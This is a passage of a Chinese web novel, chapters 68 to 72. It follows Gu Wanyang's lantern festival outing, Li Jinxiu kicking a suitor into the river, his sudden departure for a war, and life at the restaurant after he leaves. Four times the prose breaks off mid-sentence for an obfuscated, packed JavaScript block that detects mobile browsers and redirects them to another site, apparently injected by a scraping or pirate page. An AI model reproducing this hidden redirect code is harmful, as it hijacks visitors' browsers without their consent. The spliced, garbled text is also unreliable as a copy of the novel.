顾宛央心思细腻，虽然李瑾修并未说什么，但看他样子就知道在想什么，但她又不能把所想告诉他，顾宛央之所以这么费心地积攒第一波客人，是有想法的，京都地大人多自然不愁客流，但京都贵人多，有钱人也多，不能像现在靠跑量赚钱，那样太累了也做不大，她要做就做人人都想去但又不是人人都能去的酒楼。 开着小食肆的日子过得飞快，转眼便到了十月十五，这是齐中县每年都要举行祈福灯会的日子，十月也正是农事收获的季节，所以举行祈福灯会主要目的是为了祈祷“风调雨顺、国泰民安、消灾降幅”，全城百姓在这一天都会休沐，白天祭祖祈福，晚上游园灯会。 小桃的家乡没有这样的传统，她还是选择回家看桂花婶，顾宛央倒是对灯会很有兴趣，老是在电视里看到古代的灯会，非常的热闹，还可以猜灯谜，她想去看看到底是不是真的。 李瑾修自然是愿意跟顾宛央一起逛灯会，虽然他对灯会没什么兴趣，但能跟顾宛央一起，逛什么都可以。 白天顾宛央去了陈家，既然认了亲，那陈家的祭祖她就得参加，不过还好，陈家祭祖也很简单，给祖宗灵位烧了几个菜，供上瓜果，再上三柱香即可。 “宛央，你早点回去吧，晚上逛灯会还挺累的。”陈大娘见顾宛央吃完午饭，就陪着她和陈大爷聊天，心疼地说道。 “没事，不就多走走路嘛。”顾宛央不以为意地说道。 “别小看了灯会，几个市集都会有呢，看你到时候还走得动不。”陈大娘笑道，一看就是没参加过齐中县灯会的。 “宛央，你晚上一个人去吗？”陈大爷也在一旁问道。 “瑾修还有郑奎，我们仨一起去。”顾宛央站起身来，准备回家，是得早些回去收拾一下。 “瑾修这个年轻人不错呢。”陈大娘一听顾宛央提到李瑾修，眼睛一亮说道：“长得俊朗也很儒雅，言谈举止也很有教养，虽然我们见面不多，但每次都对我跟你陈大爷客客气气的，礼貌得很。” 顾宛央不置可否地点点头，这家伙确实修养还不错，对旁人都是客客气气的。 见顾宛央没说话，陈大娘忍不住又说到：“瑾修这孩子是不是也还没定亲呢？” 顾宛央一听，立马说道：“娘，这我可不知道，我们只是生意上的合作伙伴，不聊这些私事的，你可别想着要给他做媒啊。” “傻孩子，我可不是想要给他做媒。”陈大娘笑眯眯地看着顾宛央，这孩子年纪也不小了，怎么这方面这么迟钝，连她这个没见过几次面的老婆子都看出来瑾修对她不一般，她却没感觉到吗！ “那就好那就好，我先走了，有空再来看你们。”顾宛央说道。 “那个，瑾修这孩子挺不错的啊。”陈大娘旁敲侧击地说道。 “我知道，我知道，不然我能跟他合伙嘛，虽然他只是个小小小股东。”顾宛央一边笑着说道，一边往门外走去。 “诶，我说的不是这个意思。”陈大娘看着瞬间消失在大门口的身影，说出这句话。 “算了，你别操这么多心了，姻缘自有天注定，闺女怎么开心怎么来。”陈大爷在一旁说道。 陈大娘叹口气，只能点点头，是她太贪心了，多了一个女儿，又想着要给她解决亲事，急不得急不得。 顾宛央脚步匆匆地从陈家出来，抚着胸口松口气，还好跑得快！陈大娘话里的意思她怎么会听不懂，她多少也能感受到李瑾修对她的不同，只是，顾宛央甩甩脑袋，不想考虑这些问题！对，赚钱要紧！ 回到食肆，李瑾修给她开门，顾宛央心里正烦乱着呢，理都没理他就进了房间，剩下李瑾修在风中凌乱，这姐姐又怎么了？ 在房间里看到满盒子的银子，顾宛央的心情平复了下来，没想到还没有一年的时间，自己就攒了这么多的钱，顾宛央顿时心花怒放，一五一十地数了起来，算算就算现在去京都开铺子，也是够了的。 顾宛央的心情好了起来，哼着小曲开始梳妆打扮，虽然她平日里为了做饭方便，只穿最简单的衣服和做最简单的装扮，但不代表她不喜欢打扮自己，今天的灯会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李瑾修正想甩开郑奎的手，就见郑奎对他使眼色，然后附到他耳旁悄声说道：“我们就在顾姑娘看不到我们但我们能看到顾姑娘的地方，陪着她不就行了吗，你要是一直跟着她，一会她又要恼了。” 李瑾修一听有道理，看样子宛央确实想一个人好好逛逛，于是拍了拍俯身在摊子上细细欣赏把玩饰品的顾宛央，说道：“宛央，那你一个人注意安全，我和郑奎去那边逛逛。” “嗯，去吧去吧。”顾宛央头都没回，注意力全都聚集在面前可爱精致的小东西上。 郑奎拉着李瑾修离开了小摊，环顾了一圈，指着一个茶楼说道：“少主，我们去这个二楼喝喝茶歇歇脚，这上面可以看到整条街呢。” 李瑾修点点头，抬脚就往那个方向走去。 69. 第 69 章 自从来到这个世界，顾宛央就没有好好逛过类似的小摊，一心都在想着怎么挣钱，今天算是心思都放在了玩上面，不用再去考虑赚钱生存这些事情了。 所以今天顾宛央玩的很尽兴，虽然没人陪着一起，但她早已习惯一个人，反而她觉得一个人逛街挺好的，不用迁就同行之人，只需顾着自己喜欢就行。 顾宛央独自一人在河边的小摊上逛着买着，没多久就装了一袋子的小玩意拎在手上，兴致起来了还跑到花灯的摊前猜几个灯谜，赢得的奖励也往袋子里装。 李瑾修和郑奎坐在灯会中央的茶楼二楼上面，喝着茶，欣赏着各种花灯，对于整个集市都一览无余，李瑾修看着顾宛央悠闲地逛着，平日里何曾见过她这样放松的状态，眼神一刻都不舍得离开。 顾宛央猜完灯谜，喜滋滋地将老板递过来的一个可爱的布偶收入囊中，忽听得有人喊她：“宛央。” 她转身一瞧，原来是崔士忠正笑盈盈地提了一盏花灯看着她。 “原来是你啊，崔学子，你也一个人来逛灯会吗？”顾宛央看他身旁没人，问道。 “嗯，我刚刚去了小食肆找你，想约你一起来逛灯会，但小食肆门关着呢，旁边客栈老板说你来逛灯会了，我就过来了。”崔士忠腼腆地笑道。 顾宛央点点头，说道：“我们出来的早，瑾修一直在催。” “瑾修也来了？他人呢？”崔士忠环顾了一圈，没见到旁的人。 “喔，我刚刚让瑾修和郑奎自己去逛了，我喜欢一个人逛。”顾宛央说道，边说边看了四周一眼，这俩人跑哪里去了，都没看见人。 崔士忠一听顾宛央说喜欢一个人逛，顿时有些无措，他本来是想陪她一起逛的。 “崔学子，没别的事，我就先去逛了啊，你也去逛逛你喜欢的吧。”顾宛央还想逛小摊呢，说完转身就想走。 崔士忠看着顾宛央要走，咬了咬嘴唇，喊道：“宛央，我有话跟你说。” “我？”顾宛央转过身来，指指自己疑惑地问道。 “嗯，对，借一步说话。”崔士忠指了指小河边的一棵大树下说道。 顾宛央虽然有些疑惑他要说什么，但出于礼貌，还是跟着他走到了河边，问道：“崔学子，有何事呢？” “宛央，这个送给你。”崔士忠从怀中掏出一个小布袋，递过去说道。 顾宛央不知是何物，不敢乱接，只是问道：“这是什么？” “你打开看看就知道了。”崔士忠固执地伸着手说道。 顾宛央见他态度坚决，她不拿过来他是不会收回去的，于是无奈地接过来，打开一看，是一支羊脂白玉制成的梅花簪。 顾宛央疑惑地抬头看向崔士忠，好端端地送她簪子干嘛。 “宛央，我......”崔士忠面对顾宛央的眼神询问，艰难地开口：“我心悦于你，这支花簪是我特意请城里最好的玉匠打制，希望你能喜欢。” 其实这么直接的表白并不是崔士忠的本意，原本他是想着陪着佳人一起逛灯会，等到灯会最高潮时放烟花的时机送出簪子表白，但没想到顾宛央不想跟他一起逛，眼见要错失这么好的一个机会，崔士忠索性心一横，把心中的话表达了出来，原本他还羞于表白，但父母在他耳边有意无意就唠叨，要勇敢，要表达，有志者事竟成。 顾宛央有些傻眼了，这突如其来的表白让她脑子一片空白，好半晌这才反应过来，她一把将簪子塞回崔士忠手中，说道：“崔，崔学子，这太贵重了，我不能收。” 崔士忠生来跟他父亲一样脑子一根筋，他一边往顾宛央手中塞簪子，一边说道：“不贵，这是我的一片心意。” “不，不，我不能收，多谢你的心意。”顾宛央慌乱地举起手一通乱摇，这人看不出来是在拒绝他吗！ 两人的动作在旁人看来就像发生了争执一样，引来了不少人驻足旁观。 突然间，就听见崔士忠“哎哟”叫了一声，接着就是“哐当”一声入水的声音，顾宛央反应过来的时候，崔士忠已经被李瑾修踹进了旁边的小河中。 “宛央，你没事吧？他欺负你了？”李瑾修紧张地问道。 “瑾修？你，你怎么把他踢进河里了？”顾宛央顿时急了起来。 “救命，救命。”崔士忠在河里扑腾。 “噢哟，这是谁啊，怎么掉进河里了？” “他好像不会水啊。” “这不是崔县丞家的公子吗？” “哎呀，来人啊，有人会水吗，下去救人啊。” 顾宛央一听更着急了，她顾不得旁边的李瑾修，赶紧想找绳子或者长的棍子去救人。 “宛央，他自作自受，谁让他欺负你。”李瑾修见顾宛央紧张的摸样，一时间五味杂陈，忍不住大声说道。 “你给我让开，谁说他欺负我，你用得着一上来就把人踹进河里吗，这会要人命的！你平日里就对他没过好脸色，如今更是愈发过分了，若是你遇事都这么冲动，以后有你的苦头吃。”顾宛央一边把李瑾修拨拉开，一边在用力从大树上折下一根粗壮的长树枝。 “我怎么知道他不会水，再说了，我让郑奎把他捞上来就行了。”李瑾修被顾宛央一凶，深吸一口气说道。 “你走，我不想看到你，不用你们帮忙。”顾宛央把树枝细的那头扔到崔士忠的附近，对围观的人说道：“各位叔叔伯伯大哥，帮个忙，一起把人拉上来吧。” 崔士忠如同捡到救命稻草一样紧紧抓住了树枝，顾宛央虽然力气不小，但要拉一个水里的成年男人，还是不行的，她张嘴一呼救，顿时来了好几个壮汉，帮着她一起在岸边拉人。 郑奎见状小声地问道：“少主，我去帮忙吧？” “不用，人家都说不用我们帮忙了，有这么多人帮忙，死不了。”李瑾修脸色一暗，颓丧地说道。 郑奎不敢再说话，只是默默陪在李瑾修身边，看着众人将崔士忠拉上了岸。 “上来了，上来了。” “还好，还能动。” “嗯，没事，把水吐出来就好了。” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081545|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宛央见崔士忠被拉了上来，全身湿透脸色苍白昏迷了过去，她让人将崔士忠翻转过来，面朝地使劲拍打他的后背，没一会，崔士忠便吐出很多水来。 “崔学子，你没事了吧，感觉怎么样？”顾宛央见崔士忠悠悠醒转，松了好大一口气。 “我，我没事，就是簪子，簪子掉进河中了。”崔士忠看了看自己两手空空，虚弱地说道。 “别管那个了，我先请人送你回家。”顾宛央赶紧略过这个话题说道。 李瑾修默默地在一旁看着，突然转身就走，郑奎连忙跟上他的脚步，小心翼翼地问道：“少主，我们去哪。” 李瑾修听得此话脚步一顿，自嘲地说道：“是啊，去哪，她不想见到我了。” “顾姑娘那只是气话，少主莫要当真。”郑奎安慰道，只是他也不知道如何安慰才好，少主从未看着这么伤心过，平日也没什么事情会让少主伤心的。 李瑾修不言语，只是一味地快步往前走，不知不觉就走到了随心小食肆的门口。 郑奎见李瑾修在门口踱来踱去，并没有进去，也不敢劝他，只是站在一旁心疼地看着他。 忽然间，一直白鸽直直地飞向了郑奎，郑奎伸手一接，白鸽乖巧地站立在他的胳膊上。 “少主，飞鸽传书。”郑奎从白鸽脚上取下纸条说道。 “又是母亲来催我回家？或许，我是真的该回家了，省的在这里招人讨厌。”李瑾修喃喃自语，每个月都会有好些个飞鸽传书，无非就是母亲的一些催促、叮嘱、希望，他都能背出来了。 “少主，不好了。”郑奎猛然抬头说道：“北真大军犯我边疆，主上召您回宫与诸位王爷和国公爷一起商议迎敌之事。” “什么！”李瑾修瞳孔猛地一缩，“北真居然敢来犯，郑奎，走，回家。” “是，少主。”郑奎朗声应道，他此生最大的梦想便是上战场杀敌保家卫国，跟着少主从小一起长大，他知道少主跟他是一样的想法。 “等等，郑奎。”李瑾修刚想跟郑奎一起走，突然间想起什么，又说道：“你先去你那个房子，把马喂好喂饱，我一会就过去跟你一起，我们连夜走。” 郑奎在城里买了个房子，专门用来养他们的马匹，就是为了要用起来的时候方便。 “少主，你还要做什么？我等你一起吧。”郑奎说道。 “我去留个字条，她说过以后若是要离开，必须留言，不然她会生气。”李瑾修深吸了一口气说道。 “你不当面跟顾姑娘道个别吗？”郑奎提醒道。 “不了，她说了，不想再看到我。”李瑾修转过身，推开小食肆的大门走了进去。 李瑾修在书桌前发了半晌的呆，终于在纸上写下“我走了，保重”五个大字，他多想把此时脑中的各种情绪都写下来，但刚刚顾宛央对崔士忠关心着急的模样，突然让他灰了心，落笔下来只写得出这几个字。 李瑾修心一横，将纸折了起来，放在了桌上显眼的位置，暗自说了一声宛央，我走了，你保重！ 70. 第 70 章 顾宛央请人帮忙一起将崔士忠送回了家，面对崔夫人的询问，崔士忠抢过话头说是自己不小心掉入河中，这让顾宛央心生感激，若是把李瑾修踹了他的事情说出来，恐怕这件事没这么容易了结。 送完崔士忠回家，正好是灯会放烟火的时刻，顾宛央站着看了一会，夜空中的烟火非常美丽，但却稍纵即逝，烟火放完后黑漆漆的夜空中仿佛什么都没留下过一样。 顾宛央突然感觉到一阵伤感，她也没心思再逛灯会了，拖着步子慢慢往小食肆走去。 小食肆的大门依旧紧闭着，顾宛央推开后院的门，李瑾修的房间有一盏油灯亮着，原来他已经回来了，顾宛央不知为何轻轻松了一口气，刚才对他的态度确实有些不好，也说了不少气话，但若是由着他胡来，将来保不准会出事情。 顾宛央走到李瑾修的门口，她的手已经快要搭在门上了，又缩了回来，内心纠结不已，现在进去会不会跟他吵起来，要不还是等他冷静一下，明天再说。 顾宛央看了一眼旁边郑奎的房间并没有亮灯，难道这么早就睡下了？再侧耳听了听李瑾修的房间，没有人说话的声音，那郑奎应该不在李瑾修的房间里，要不先去问问郑奎是什么情况吧。 郑奎的房门是半开着的，并没有关上，顾宛央轻轻喊了两声郑奎，却没有一丝回应，他应该不在房内。 觉得不对劲，整个小院里安安静静没有一点声音，顾宛央转身急步走到李瑾修的房门打算敲门，谁知手轻轻一敲，门就开了，原来房门没有关上，而是虚掩着。 “瑾修？你在里面吗？”顾宛央见房门开了，但没进去，而是在门外问道。 房间里没有反应。 “郑奎，郑奎？”顾宛央喊了两声郑奎的名字。 房间里依然没有反应。 顾宛央直接把门推开来，走了进去，只见屋内空无一人，一盏油灯弱弱地在桌上燃烧着，旁边有一张折的很仔细的纸，上面压了一块砚台。 顾宛央拿起纸条打开了，就着油灯的光看清楚上面写的字，指尖忽然感觉有些发凉，他这是离开了吗？ 环顾四周，仿佛一切都没有发生什么变化，他没有带走任何一样东西，就跟平日里没有什么区别。 也可能是赌气走的，过几天就会回来了，顾宛央自我安慰着，把纸条仔仔细细地折起来收好，再将油灯吹灭，走出了李瑾修的房间。 整晚上顾宛央都睡得迷迷糊糊的，外边一有点动静她就醒了过来，有时候风声或是野猫跳动发出的声音，都会把她惊醒，醒来后她总要侧耳仔细听听是不是李瑾修和郑奎回来了，只不过每每都是失望的。 早晨起来的顾宛央精神恹恹的，还好今日是店休不用开店，顾宛央再次进到李瑾修和郑奎的房间，发现他们真的一点东西都没有带走，这让她的心稍微安了一些。 吃完早饭，顾宛央就出了门，她在城内四处闲逛，还去了昨天花灯的市集，想着是不是能遇见离家出走的李瑾修，结果确却让她失望。 顾宛央拖着疲惫的身子回到小食肆时，小桃已经从城西村回来了。 “宛央姐，你去哪里啦？”小桃迎上来，发现顾宛央脸色不对，状态也不对，她拉住顾宛央的手仔细瞧着她的脸问道：“宛央姐，你这是怎么了，才两天不见，你怎么这么憔悴。” “啊？是吗？”顾宛央摸了摸自己的脸，说道：“昨天晚上没怎么睡好。” “我知道了，是不是逛灯会太开心了，回来晚了睡得就晚了呀。”小桃恍然地笑道。 “不是。”顾宛央轻轻推开小桃的手，走到桌子边倒了一杯水一口气灌下去。 “咦？瑾修哥和郑奎哥呢？他俩去哪里了。”小桃回来的时候，找了一圈发现一个人都不在。 顾宛央放下杯子，从袖兜里拿出李瑾修留下的纸条递过去说道：“你自己看吧。” 小桃摊开纸条，念了出来：“我走了，保重。” “这是瑾修哥留的？”李瑾修经常教小桃认字，所以她认得李瑾修的字。 顾宛央点点头。 “他怎么走了？去哪？什么时候回来？郑奎哥一起走了？”小桃一连问了好几个问题。 顾宛央坐下来，将昨天晚上逛灯会发生的事情一五一十地告诉了小桃，这么大的事情她没法瞒着小桃，因为接下来李瑾修和郑奎不在的话，就得靠她和小桃两个人了，至少在没找到帮工的情况下，得她们两个撑几日了。 “不会的，不会的，瑾修哥不会就这么走了的，肯定是他生气你骂了他，所以就跑出去了，过两天气消了也就回来了。”小桃摇着头说道。 “我......”顾宛央想说自己也没骂他，但回想起来，好像确实态度挺凶的，也就闭了嘴不再说什么。 “我刚才去他们房间看了，东西都摆的整整齐齐呢，什么都没拿走。”小桃安慰顾宛央道。 “但不知道他们什么时候才回来，明日就我们两人开店，要辛苦你了。”顾宛央说道。 “不怕，我可以的。”小桃拍着胸口说道。 “你放心，就撑个两三日，若是明日他俩还不回来，我就去找帮工。”顾宛央原本低落的情绪，在看到小桃如此乐观之后，也变得心情好了一点。 正在此时，门外传来陈大娘的声音：“宛央，你在不在？” 顾宛央一听到陈大娘的声音，赶紧出去开门。 “爹，娘，你们怎么来了？”顾宛央赶忙让两位老人进了后院。 陈大娘笑眯眯地提起手上的食盒，说道：“今天刚刚做的栗子糕，知道你昨天晚上肯定晚回来，所以下午才给你送来，你尝尝，小桃，你也来尝尝。” 陈大爷一副看破不说破的神情，也笑着找凳子坐了下来。 小桃一听见有吃的，赶紧小跑着就过来了，打开食盒，整整齐齐地摆放着的栗子糕，看着就很诱人，她也不客气，说了一句多谢陈大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086041|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘，就拿起一块吃了起来。 顾宛央给陈大爷和陈大娘泡了两杯热茶，坐下来，也拿了一块栗子糕吃起来，今天在外面闲逛了一天，午饭也没吃，也不觉得饿，没想到闻到栗子糕的香味，顿时感觉到饿了。 “宛央，昨天晚上灯会逛得怎么样？”陈大娘像是闲聊的问道，眼光一转又问道：“瑾修呢？他怎么不在？” 陈大爷嗔怪地看了陈大娘一眼，孩子还在吃东西呢，就提起这些，老婆子在家里就闹着要来探探宛央的口风，看昨晚有没有什么进展，他也拦不住，只能跟着一起过来，也好打打圆场。 “陈大娘，你还不知道吧，昨天晚上灯会瑾修哥把崔学子踹到河里去了，我宛央姐骂了他一顿，他就连夜离家出走了，到现在还没回来呢。”小桃一边吃着手上的栗子糕，一边绘声绘色地把刚才顾宛央告诉她的事情描述了一遍。 顾宛央深吸一口气，这小桃的嘴真是快，不过总结的倒是很到位，确实也就是这么个事。 “小桃，你又多嘴了啊。”顾宛央还是批评道。 “宛央姐，陈大爷和陈大娘都是自家人了，跟自家人说话不是得实话实说嘛。”小桃委屈地说道。 “什么！”陈大娘惊讶地叫出来：“昨天晚上出了这事？” “娘，你先别紧张，没什么大事，崔学子跟家里人说是自己不小心掉到河里去的，瑾修没事。”顾宛央赶紧安慰道，她都没意识到自己是在为李瑾修担心。 “崔学子也没事吧？”陈大爷不放心地问了一句。 “没有大碍，放心吧。”顾宛央说道。 “真是没想到，瑾修怎么好端端地把崔学子踹进河里了？这孩子一向温文有礼的，不似那么狂躁的人啊。”陈大娘抚着胸口问道。 顾宛央回想了一下说道：“当时崔学子想要送一个簪子给我，我拒绝了，他硬要塞给我，我俩正拉扯着呢，李瑾修过来就把人给踹下去了，他说以为崔学子在欺负我。” 顾宛央说完，脑海中出现当时她和崔学子纠缠拉扯的画面，确实在外人开起来好似是自己被欺负的样子，她突然有些后悔对李瑾修那么大声了。 陈大爷和陈大娘听了顾宛央的话，两人对视了一眼，这些年轻的孩子啊，做事情真是冲动。 “人都没事就好。”陈大娘开口说道，“瑾修虽说是冲动了反应大了些，但在我看来，他却是因为关心你，才会这样做的，你不应该骂他的。” “娘，当时我没想那么多，着急想把崔学子救上来呢，就对他说话大声了些，也没怎么骂他嘛，谁知道他这么小气，这就被气走了。”顾宛央突然有些烦心起来。 “别急别急，那你知道他去哪里了吗？”陈大娘拍了拍顾宛央的手安慰道。 顾宛央听了陈大娘的问话，脑子一片空白，相处了那么久的时间，她居然不知道他是哪里人，家住在何处，是什么身份，这让她想找都没法找去，一时间顾宛央就泄了气。 71. 第 71 章 “宛央姐，瑾修哥会不会是京都人，我看他老说京都哪里有好吃的，哪里有好玩的，好像很熟悉的样子，估计他家就住在京都呢。”小桃开口说道。 “可是我们并不知道他住在京都哪里，他从未跟我们提起过。”顾宛央叹口气说道。 “那咱也从未问过呀！”小桃说道。 额，这倒是，顾宛央从来没问过李瑾修家中情况，只觉得他只是自己小店的一个小股东而已，从没想到过他会突然离开。 “算了，走就走了，反正他们在这里也只是帮忙收账和点菜跑堂而已，等明日我就去雇个帮工来，没事的。”顾宛央有些气恼，她从昨天晚上到现在，都在为这事焦躁烦心，她打算不管他了，说不定过几天就回来了。 “他们肯定会回来的，宛央姐你想啊，他们东西都没带走，还有食肆的分红没给他们呢。”小桃看出来顾宛央的焦虑，拍着她的胳膊安慰。 “是啊，别着急，哪有什么东西都不带就走了的。”陈大娘点头附和。 “宛央，你先别去找帮工，我可以帮忙收账的。”陈大爷突然开口说道。 顾宛央闻言看向陈大爷，陈大娘也忙开口：“对，对，老头子以前也是做生意的，他很会算账，我也可以来帮忙点点菜跑跑堂，帮工先别找了，我们两个就可以帮忙。” “爹，娘，你们的好意我心领了，但是这会很辛苦，你们年纪大了吃不消的。”顾宛央婉言拒绝道。 “无妨，我身体一向硬朗，以前因为孩子的事情情绪不好，也不愿意做事，但现在有你了，我和你娘心情大好，身体更是比以前好了很多，所以你不用担心我们。”陈大爷摆摆手说道。 “是啊，我们两个在家闲着也是闲着，我做做针线活，他刻刻木头，还不如来你这里帮帮忙。”陈大娘也说道。 “宛央姐，陈大爷和陈大娘说的有道理，其实咱们就缺个算账收钱的，点菜跑堂我都可以做，可以让陈大爷帮我们收钱，就坐在那里也不会太累，陈大娘如果有时间就过来帮着看看，我有什么忙不过来的地方，大娘就帮一把，也不会太累。”小桃想了想说道。 “宛央，爹和娘说的都是真心话，若是我们身体吃不消，那是绝对不会来给你添乱的。”陈大爷言辞恳切，他是真心想帮忙发挥一下余热。 顾宛央被三个人围着劝说，本来很坚定的不让两位老人来帮忙的想法，慢慢地变化起来。 “你请了帮工以后，瑾修他俩又回来了，那不是浪费钱嘛，不如我们帮你先做几天试试看，不行再请也是可以的嘛。”陈大爷补充道。 “行吧，那明天就麻烦爹娘来帮帮忙，但我要说在前面的是，若是你们身体有任何不适或者觉得太累，那就得回家好好休息，不能硬撑，可以吗？”顾宛央终于妥协了下来，倒是可以先试试看，不行再换人。 “没问题！” “那肯定可以！” 陈大爷和陈大娘见顾宛央同意了，顿时异口同声地应了下来。 有了家人的支持，顾宛央烦躁的心情有了些许安慰，慢慢平复下来，反正现在也找不到人，不如先踏实地干活挣钱再说。 第二天，顾宛央正常开店，陈家二老早早地就过来帮忙，两人脸上满是兴奋，他们以前也是开铺子做生意的，仿佛又回到了十几年前。 见陈家二老心情愉悦地干活，顾宛央内心的内疚也少了许多，若是忙碌起来能让他们找到价值感，那未尝不是一件好事呢，况且他们毕竟做了那么多年的生意，对此之道非常熟悉，顾宛央感觉非但没有慌乱，反而比以前还要顺畅。 炒完最后一个菜，顾宛央摘下围裙和头巾，走出了厨房，来到大堂看看情况。 外面天色已经暗沉，大堂内只有最后两三桌客人还在吃饭，陈大爷认识其中一桌的客人，正坐在收账台前跟他们有一搭没一搭地聊着天。 “听说，北真大军前几日犯我北疆领土了。”其中一个四十左右的壮汉，神神秘秘地说道。 “真的假的？你怎么知道的？” “是啊，咱这离京都还二百里路呢，你这么快能知晓？” 壮汉眯了一口酒，放下酒杯，依旧神秘地说道：“这你们就不知道了吧，我小舅子可是在兵部的，他们马上就要北上抗敌去了，我小舅子捎信回来跟家里说的。” “哦对，你小舅子是在兵部的，还是个小头目呢。” “那看来这消息保真了。” “那是当然，千真万确！”壮汉打包票。 陈大爷也听了一耳朵，有些担忧地说道：“哎哟，这打起仗来，会不会对我们有什么影响啊？” “这能有什么影响，北境离京都有上千里，远着呢，打不到咱们这里来的。”壮汉说道。 “是啊，这么多年以来，北真时常在我们北边骚扰，但从未见他们能得什么好处，每次都被打得灰头土脸地滚回去。” “就是，要我说，索性这一次咱们大军出击，把北真给拿下得了。” “对，省的每次都被他们骚扰，况且北真和西丹本就是侵占我大夏的领土，收复他们理所应当！” 顾宛央坐在一旁休息，听着食客们讨论着国家大事，心里想的却是北境的百姓又要饱受战乱之苦了。 日子一天一天地过，陈大爷和陈大娘显然很适应铺子里的活计，顾宛央见他俩乐此不疲，也就把请帮工到底事情放了下来。 但是，李瑾修却并不像大家所猜测的那样很快就回来，直到快过年了，还未见李瑾修和郑奎两人回来的身影，甚至一个口信或者一封书信都没有收到过。 顾宛央虽然面上不显，依旧照常忙碌着小食肆的生意，但连小桃心思简单的人都看得出来她经常有心事，以前虽然瑾修哥经常跟宛央姐吵吵闹闹的，但大家都快乐轻松，不像现在笑声也少多了。 陈大爷和陈大娘也看在眼里，只能分担一些铺子的事情，让她不要过于劳累。 转眼就要过年了，桂花婶得知了顾宛央认了亲，强烈地邀请顾宛央带着两位老人回城西村过年，说是家里人多热闹，总好过他们三人在城里过年。 顾宛央征求了陈大爷和陈大娘的意见，本以为他们不会想去，但意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090329|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外的是两人却是很愿意跟大家一起过年，说好久没有这么热闹了，还要去感谢桂花婶和张婶一家对顾宛央的照顾。 临近年关，小食肆的生意也淡了下来，顾宛央索性提起几天关了门，带着陈家二老和小桃回了城西村。 陈家二老买了很多年货，雇了一辆马车，驮着几人和年货一起出发回村。 好多天没回城西村的家了，顾宛央推开门就闻到了熟悉的味道，原本以为这个家对自己来说只是临时落脚处，但没想到还是有很深的感情。 顾宛央打算把自己的房间让给二老住，自己就把杂物间打扫一下，临时睡一段时间。 推开杂物间的门，顾宛央的思绪仿佛又回到李瑾修还住在里面的那时候，想起那时候做的香椿和田鸡让李瑾修唯恐避之不及，到后来的猪肺和猪脚让李瑾修既嫌弃又舍不得不吃，这些场景历历在目，顾宛央不由地笑了起来。 笑过之后又有些伤感，物件都在，只是故人却不知道去了哪，顾宛央将今年小食肆的账都算得清清楚楚，该给李瑾修的分红也都留了出来，还有郑奎的工钱她也留了出来，虽然一开始说的是不用给郑奎工钱，但小食肆挣钱了，应该给郑奎应得的。 小桃把东西放下，就过来帮忙，顾宛央一边跟小桃一起收拾屋子，一边跟她闲聊：“你爹怎么还没回来，还有大丰小丰他爹也没回来？” “我娘说了，我爹捎信回来说不回家过年，他们在临县有个工事，要赶在开年做完。”小桃说道：“张婶说，张叔早就捎信回来了，说去北境打仗了，过年肯定是回不来了的。” “哦？对，张叔是去当兵了的。”顾宛央点点头，看来那次在小食肆说北境在打仗这事是真的。 “张婶一家就是从北境流落过来的，这次张叔能返回老家打敌人，张婶虽然担心，但也盼望着能把北真人赶出去。”小桃说道。 顾宛央点点头，希望张叔没事才好。 “诶，宛央姐，你说瑾修哥这么久没回来，他会不会也去北境打仗了？”小桃突然间问道。 顾宛央一听，心中一跳，他也上战场了吗，但她很快就否定了小桃的说法：“不会的，他哪里像当兵的，整日无所事事游手好闲，还跟我们一起开铺子，看他的样子估计是哪个富贵人家的公子爷吧。” 小桃想了想，说道：“也是，张叔在外当兵一年都回不了几次家，瑾修哥是在外游山玩水一年都不回几次家。” “宛央姐，我们什么时候去京都开酒楼呀？钱攒够了吗？”小桃又开口问道。 “你这么想去京都呀？”顾宛央笑道，钱倒是攒够了，但她还没想好什么时候去。 “对，我想去京都，而且说不定去了京都，就能找到瑾修哥和郑奎哥了。”小桃随口一说。 顾宛央正在擦桌子的手慢慢停了下来，小桃说的倒是有可能，目前看起来在齐中县开店一年撑死也就挣这些钱了，如果能去京都开酒楼肯定能赚更多的钱，而且若是李瑾修当真住在京都，那食肆的分红和郑奎的工钱就有可能给到他们了，这些钱不给出去，她终究是心不安的。 72. 第 72 章 除夕，城西村的鞭炮声渐渐多了起来。 